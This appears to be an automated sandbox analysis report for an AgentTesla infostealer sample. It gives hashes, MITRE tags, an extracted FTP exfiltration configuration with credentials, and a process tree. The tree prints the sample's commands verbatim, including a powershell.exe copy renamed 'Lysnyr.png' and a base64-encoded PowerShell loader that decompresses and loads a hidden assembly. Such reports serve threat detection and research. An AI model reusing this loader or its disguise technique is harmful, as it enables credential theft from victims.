agenttesla | fcf545c44ad99d243f3f2be37b7451972b43a476736838573f538512be8a9327

General

Target

Documents as requested.bat
Size

1006KB
MD5

171e778657c7295e85e8300f360cb8f3
SHA1

514c680ac7eff0d76b0c3ab4a8843aaded52864b
SHA256

79261cedc12a63f6a3ee3bb58e45823a27b8a874975a095f6a875836a6bdda45
SHA512

de2537391585cc7f0124460a81f78bd771f60608228fe19bb564cf44a649693f752465fe82e9cd7edd255361f2b968766da919357088a5624149f12bc7caaf04
SSDEEP

24576:kxzN/hRdkbOXdtw3hQxSKXRMUMerPAY0OiXkXdsLg:klLwRkzyTe0SMg

Score

10^/10

agenttesla keylogger spyware stealer trojan

Malware Config

Extracted

Family

agenttesla

Credentials

Protocol: ftp
Host:
ftp://files.000webhost.com
Port:
21
Username:
tain00
Password:
computer@2020

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla
Executes dropped EXE 1 IoCs

Processes:

Lysnyr.png

pid process

5008 Lysnyr.png
Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Drops file in Windows directory 1 IoCs

Processes:

Lysnyr.png

description ioc process

File created C:\Windows\AppCompat\Programs\Amcache.hve.tmp Lysnyr.png
Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

4412 5008 WerFault.exe Lysnyr.png
Suspicious behavior: EnumeratesProcesses 5 IoCs

Processes:

Lysnyr.png

pid process

5008 Lysnyr.png
5008 Lysnyr.png
5008 Lysnyr.png
5008 Lysnyr.png
5008 Lysnyr.png

pid	process
5008	Lysnyr.png

description	ioc	process
File created	C:\Windows\AppCompat\Programs\Amcache.hve.tmp	Lysnyr.png

pid	pid_target	process	target process
4412	5008	WerFault.exe	Lysnyr.png

pid	process
5008	Lysnyr.png
5008	Lysnyr.png
5008	Lysnyr.png
5008	Lysnyr.png
5008	Lysnyr.png

Suspicious use of AdjustPrivilegeToken 5 IoCs

Processes:

Lysnyr.png

description	pid	process
Token: SeDebugPrivilege	5008	Lysnyr.png
Token: SeDebugPrivilege	5008	Lysnyr.png
Token: SeRestorePrivilege	5008	Lysnyr.png
Token: SeBackupPrivilege	5008	Lysnyr.png
Token: SeBackupPrivilege	5008	Lysnyr.png

Suspicious use of WriteProcessMemory 17 IoCs

Processes:

cmd.execmd.exe

description	pid	process	target process
PID 2360 wrote to memory of 2284	2360	cmd.exe	cmd.exe
PID 2360 wrote to memory of 2284	2360	cmd.exe	cmd.exe
PID 2360 wrote to memory of 4876	2360	cmd.exe	xcopy.exe
PID 2360 wrote to memory of 4876	2360	cmd.exe	xcopy.exe
PID 2360 wrote to memory of 3640	2360	cmd.exe	cmd.exe
PID 2360 wrote to memory of 3640	2360	cmd.exe	cmd.exe
PID 3640 wrote to memory of 1692	3640	cmd.exe	cmd.exe
PID 3640 wrote to memory of 1692	3640	cmd.exe	cmd.exe
PID 3640 wrote to memory of 3668	3640	cmd.exe	xcopy.exe
PID 3640 wrote to memory of 3668	3640	cmd.exe	xcopy.exe
PID 3640 wrote to memory of 3488	3640	cmd.exe	cmd.exe
PID 3640 wrote to memory of 3488	3640	cmd.exe	cmd.exe
PID 3640 wrote to memory of 3452	3640	cmd.exe	xcopy.exe
PID 3640 wrote to memory of 3452	3640	cmd.exe	xcopy.exe
PID 3640 wrote to memory of 5008	3640	cmd.exe	Lysnyr.png
PID 3640 wrote to memory of 5008	3640	cmd.exe	Lysnyr.png
PID 3640 wrote to memory of 5008	3640	cmd.exe	Lysnyr.png

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Documents as requested.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2360

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo F "
2⤵
PID:2284

C:\Windows\system32\xcopy.exe
xcopy /d /q /y /h /i C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\Lysnyr.png
2⤵
PID:4876

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\Documents as requested.bat"
2⤵
- Suspicious use of WriteProcessMemory
PID:3640

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo F "
3⤵
PID:1692

C:\Windows\system32\xcopy.exe
xcopy /d /q /y /h /i C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\Lysnyr.png
3⤵
PID:3668

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo F "
3⤵
PID:3488

C:\Windows\system32\xcopy.exe
xcopy /d /q /y /h /i "C:\Users\Admin\AppData\Local\Temp\Documents as requested.bat" C:\Users\Admin\AppData\Local\Temp\Lysnyr.png.bat
3⤵
PID:3452

C:\Users\Admin\AppData\Local\Temp\Lysnyr.png
C:\Users\Admin\AppData\Local\Temp\Lysnyr.png -win 1 -enc JABTAGcAZwBrAHAAZABxAGIAIAA9ACAAWwBJAE8ALgBGAGkAbABlAF0AOgA6AFIAZQBhAGQATABpAG4AZQBzACgAKAAoAFsAUwB5AHMAdABlAG0ALgBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6AEcAZQB0AEMAdQByAHIAZQBuAHQAUAByAG8AYwBlAHMAcwAoACkALgBNAGEAaQBuAE0AbwBkAHUAbABlAC4ARgBpAGwAZQBOAGEAbQBlACkALgBUAG8AUwB0AHIAaQBuAGcAKAApACAAKwAgACIALgBiAGEAdAAiACkALAAgAFsAdABlAHgAdAAuAGUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4ACkAIAB8ACAAUwBlAGwAZQBjAHQALQBPAGIAagBlAGMAdAAgAC0AbABhAHMAdAAgADEAOwAgACQASgBoAHMAdAB5AGEAbgByAHUAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAUwBnAGcAawBwAGQAcQBiACkAOwAkAE8AcwBuAGgAcQBqAHgAbgAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBNAGUAbQBvAHIAeQBTAHQAcgBlAGEAbQAoACAALAAgACQASgBoAHMAdAB5AGEAbgByAHUAIAApADsAJABvAHUAdABwAHUAdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBNAGUAbQBvAHIAeQBTAHQAcgBlAGEAbQA7ACQAWQByAHQAZwBhAHYAeQB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEcAegBpAHAAUwB0AHIAZQBhAG0AIAAkAE8AcwBuAGgAcQBqAHgAbgAsACAAKABbAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgBNAG8AZABlAF0AOgA6AEQAZQBjAG8AbQBwAHIAZQBzAHMAKQA7ACQAWQByAHQAZwBhAHYAeQB0AC4AQwBvAHAAeQBUAG8AKAAgACQAbwB1AHQAcAB1AHQAIAApADsAJABZAHIAdABnAGEAdgB5AHQALgBDAGwAbwBzAGUAKAApADsAJABPAHMAbgBoAHEAagB4AG4ALgBDAGwAbwBzAGUAKAApADsAWwBiAHkAdABlAFsAXQBdACAAJABKAGgAcwB0AHkAYQBuAHIAdQAgAD0AIAAkAG8AdQB0AHAAdQB0AC4AVABvAEEAcgByAGEAeQAoACkAOwBbAEEAcgByAGEAeQBdADoAOgBSAGUAdgBlAHIAcwBlACgAJABKAGgAcwB0AHkAYQBuAHIAdQApADsAIAAkAFoAcwBmAGwAaQBpAHgAZwAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUgBlAGYAbABlAGMAdABpAG8AbgAuAEEAcwBzAGUAbQBiAGwAeQBdADoAOgBMAG8AYQBkACgAJABKAGgAcwB0AHkAYQBuAHIAdQApADsAIAAkAFcAeABpAGYAbgB1ACAAPQAgACQAWgBzAGYAbABpAGkAeABnAC4ARwBlAHQARQB4AHAAbwByAHQAZQBkAFQAeQBwAGUAcwAoACkAWwAwAF0AOwAgACQAWgBlAGUAaABuAG4AbABmAHYAegBoACAAPQAgACQAVwB4AGkAZgBuAHUALgBHAGUAdABNAGUAdABoAG8AZABzACgAKQBbADAAXQAuAEkAbgB2AG8AawBlACgAJABuAHUAbABsACwAIAAkAG4AdQBsAGwAKQAgAHwAIABPAHUAdAAtAE4AdQBsAGwA
3⤵
- Executes dropped EXE
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5008

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 5008 -s 2396
4⤵
- Program crash
PID:4412

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 440 -p 5008 -ip 5008
1⤵
PID:2608

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Unsecured Credentials

2

T1552

Credentials In Files

2

T1552.001

Discovery

Lateral Movement

Collection

Data from Local System

2

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\Lysnyr.png

Filesize
423KB

MD5
c32ca4acfcc635ec1ea6ed8a34df5fac

SHA1
f5ee89bb1e4a0b1c3c7f1e8d05d0677f2b2b5919

SHA256
73a3c4aef5de385875339fc2eb7e58a9e8a47b6161bdc6436bf78a763537be70

SHA512
6e43dca1b92faace0c910cbf9308cf082a38dd39da32375fad72d6517dea93e944b5e5464cf3c69a61eabf47b2a3e5aa014d6f24efa1a379d4c81c32fa39ddbc

Download Submit
C:\Users\Admin\AppData\Local\Temp\Lysnyr.png.bat

Filesize
1006KB

MD5
171e778657c7295e85e8300f360cb8f3

SHA1
514c680ac7eff0d76b0c3ab4a8843aaded52864b

SHA256
79261cedc12a63f6a3ee3bb58e45823a27b8a874975a095f6a875836a6bdda45

SHA512
de2537391585cc7f0124460a81f78bd771f60608228fe19bb564cf44a649693f752465fe82e9cd7edd255361f2b968766da919357088a5624149f12bc7caaf04

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_p3lld2ln.vic.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
\??\c:\users\admin\appdata\local\temp\lysnyr.png

Filesize
423KB

MD5
c32ca4acfcc635ec1ea6ed8a34df5fac

SHA1
f5ee89bb1e4a0b1c3c7f1e8d05d0677f2b2b5919

SHA256
73a3c4aef5de385875339fc2eb7e58a9e8a47b6161bdc6436bf78a763537be70

SHA512
6e43dca1b92faace0c910cbf9308cf082a38dd39da32375fad72d6517dea93e944b5e5464cf3c69a61eabf47b2a3e5aa014d6f24efa1a379d4c81c32fa39ddbc

Download Submit
memory/5008-13-0x0000000005330000-0x0000000005396000-memory.dmp

Filesize
408KB

Download
memory/5008-30-0x0000000006070000-0x000000000608A000-memory.dmp

Filesize
104KB

Download
memory/5008-11-0x0000000004D00000-0x0000000005328000-memory.dmp

Filesize
6.2MB

Download
memory/5008-10-0x0000000002570000-0x00000000025A6000-memory.dmp

Filesize
216KB

Download
memory/5008-19-0x00000000053A0000-0x0000000005406000-memory.dmp

Filesize
408KB

Download
memory/5008-24-0x0000000005610000-0x0000000005964000-memory.dmp

Filesize
3.3MB

Download
memory/5008-25-0x0000000005B30000-0x0000000005B4E000-memory.dmp

Filesize
120KB

Download
memory/5008-26-0x0000000005BD0000-0x0000000005C1C000-memory.dmp

Filesize
304KB

Download
memory/5008-9-0x00000000025E0000-0x00000000025F0000-memory.dmp

Filesize
64KB

Download
memory/5008-28-0x00000000025E0000-0x00000000025F0000-memory.dmp

Filesize
64KB

Download
memory/5008-29-0x0000000007190000-0x000000000780A000-memory.dmp

Filesize
6.5MB

Download
memory/5008-12-0x0000000004B60000-0x0000000004B82000-memory.dmp

Filesize
136KB

Download
memory/5008-31-0x0000000006B10000-0x0000000006BD8000-memory.dmp

Filesize
800KB

Download
memory/5008-32-0x0000000006BE0000-0x0000000006C5A000-memory.dmp

Filesize
488KB

Download
memory/5008-33-0x0000000006D60000-0x0000000006DC6000-memory.dmp

Filesize
408KB

Download
memory/5008-35-0x0000000007000000-0x0000000007042000-memory.dmp

Filesize
264KB

Download
memory/5008-36-0x0000000007140000-0x0000000007180000-memory.dmp

Filesize
256KB

Download
memory/5008-37-0x00000000025E0000-0x00000000025F0000-memory.dmp

Filesize
64KB

Download
memory/5008-38-0x00000000025E0000-0x00000000025F0000-memory.dmp

Filesize
64KB

Download
memory/5008-39-0x0000000007DF0000-0x0000000008394000-memory.dmp

Filesize
5.6MB

Download
memory/5008-8-0x0000000074C50000-0x0000000075400000-memory.dmp

Filesize
7.7MB

Download
memory/5008-42-0x0000000074C50000-0x0000000075400000-memory.dmp

Filesize
7.7MB

Download

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